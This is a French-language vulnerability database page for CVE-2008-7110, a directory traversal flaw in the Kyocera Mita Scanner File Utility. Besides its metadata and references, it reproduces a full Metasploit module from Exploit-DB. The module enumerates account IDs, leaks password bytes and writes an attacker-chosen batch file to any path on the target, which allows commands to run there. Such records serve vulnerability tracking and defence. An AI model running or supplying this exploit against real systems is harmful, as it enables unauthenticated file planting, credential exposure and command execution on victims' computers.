CVE-2008-7110 : Détail

CVE-2008-7110

Directory Traversal
A01-Broken Access Control
1.41%V4
Network
2009-08-28
13h00 +00:00
2018-10-11
17h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Directory traversal vulnerability in the Scanner File Utility (aka listener) in Kyocera Mita (KM) 3.3.0.1 allows remote attackers to upload files to arbitrary locations via a .. (dot dot) in a request.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:C/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 32301

Date de publication : 2008-08-25 22h00 +00:00
Auteur : Seth Fogie
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/30855/info Kyocera Mita Scanner File Utility is prone to a directory-traversal vulnerability because it fails to adequately sanitize user-supplied input. Attackers can exploit this issue to create and overwrite arbitrary files on the affected computer. Kyocera Mita Scanner File Utility 3.3.0.1 is vulnerable; other versions may also be affected. module Msf class Auxiliary::Spoof::Kyocera::FileUtility < Msf::Auxiliary # # This exploit affects TCP servers, so we use the TCP client mixin. # include Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Kyocera Mita File Utility File Injection', 'Description' => %q{ This exploit attacks the Kyocera Mita File Utility 3.3.0.1 that is part of a scan to desktop solution. There are several bugs in this service. First, there is no authentication. This means anyone can upload a file to the target PC. Second, the file can contain anything, including binary data. Finally, the file name can be altered to include directory information, thus redirecting the file from the default upload location to a specified location. Combined, the service will allow a remote attacker to upload any file to any location on the system. If you do not know the correct ID number of the client side account, you can use the included getidno command to scan a system to detect any and all ID numbers. This will also provide you with any associated passwords required by printer to upload documents. }, 'Author' => 'Seth Fogie <seth@whitewolfsecurity.com>' ) ) register_options( [ OptString.new('RPORT', [ true, "Target port - default is 37100", '37100' ]), OptString.new('RHOST', [ true, "Target host", '1']), OptString.new('CMD', [ true, "Command", 'calc.exe']), OptInt.new('IDNO', [ true, "ID number (1-100)", '1']), OptString.new('IDENT', [ true, "Identification name", 'ANON']), OptString.new('FILENAME', [ true, "File name (with folder)", 'Kyocera.bat']), OptString.new('FOLDER', [ false, "Folder (relative to scan folder)", '']), ], self.class ) end def auxiliary_commands return { "getidno" => "Determine a correct idno", } end #this command detects any and all valid accounts on target machine and returns associated passwords. def cmd_getidno() 1.upto(100) do |i| connect print(".") # Build the buffer for transmission buf= "\x00\x06\x34\x00\x00\x02\x00\x00" #control message to PC # Send it off and get response sock.put(buf) sock.get #add ID number idno = i buf = "\x02\x1c\x34\x02" + #details about file name for file utility function [idno].pack('n') + #ID number "\x00\x08" + "\x00\x0d" + "\x41\x41\x41\x41\x00\x4e\x53\x4e\x5f\x53\x4b\x41\x4e\x3a" + "\x41\x41\x41\x41\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00" sock.put(buf) nulls="\x00\x00" passTest="\xFF\xFF" data=sock.get dataStr=data.to_s if dataStr[dataStr.length-6,2] == nulls print("\n") print_status("Valid account number found: " + i.to_s) end if dataStr[dataStr.length-2,2] != passTest print_status("BONUS! Password! (last four or eight characters of string)" ) j=0 while j<12 printf("%X",data[j]) j+=1 end print("\n") end sock.close end print("\n") end # # The exploit sends the specified command into a kyocera.bat file in the specified folder # def run begin connect print_status("Sending command...") # Build the buffer for transmission buf= "\x00\x06\x34\x00\x00\x02\x00\x00" #control message to PC # Send it off and get response sock.put(buf) sock.get #add ID number idno = datastore['IDNO'] ident = datastore['IDENT'] filename = datastore['FILENAME'] folder = datastore['FOLDER'] locationLength = filename.length + folder.length buf = "\x02\x1c\x34\x02" + #details about file name for file utility function [idno].pack('n') + #ID number "\x00\x08" + "\x00\x0d" + "\x41\x41\x41\x41" + "\x00\x4e\x53\x4e\x5f\x53\x4b\x41\x4e\x3a" + ident + "\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00" sock.put(buf) nulls="\x00\x00" passTest="\xFF\xFF" data=sock.get dataStr=data.to_s #print_status(nulls) #print_status(dataStr[dataStr.length-6,2]) if dataStr[dataStr.length-6,2] != nulls print_status("Invalid account number - use getidno command to find valid idno") end if dataStr[dataStr.length-2,2] != passTest print_status("BONUS! Password! (last four or 8 characters of string)" ) j=0 while j<12 printf("%X",data[j]) j+=1 end print("\n") end buf = "\x00\x54" + #details about file name "\x30" + #location size (must be x30) "\x01" + #can be altered to include folder and file "\x00\x05\x00\x00" + "\xff\xff\xff\xff\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x24" + folder + filename padding = 48-locationLength j=0 while j<padding buf += "\x00" j+=1 end #"\x4b\x79\x6f\x63\x65\x72\x61\x2e\x62\x61\x74" + #"\x00\x00\x00" #add command length thecommand = datastore['CMD'] cmdLen = thecommand.length buf += [cmdLen].pack('N') #add command buf << thecommand j=0 #put file sock.put(buf) buf = "\x00\x04\x30\x02\x00\x00" sock.put(buf) buf="\x00\x04\x30\x05\x53\xdc" sock.put(buf) sock.get buf="\x00\x04\x30\x03\x00\x00" sock.put(buf) sock.get end end end end

Products Mentioned

Configuraton 0

Kyoceramita>>Scanner_file_utility >> Version 3.3.0.1

Références

http://www.securityfocus.com/bid/30855
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/31631
Tags : third-party-advisory, x_refsource_SECUNIA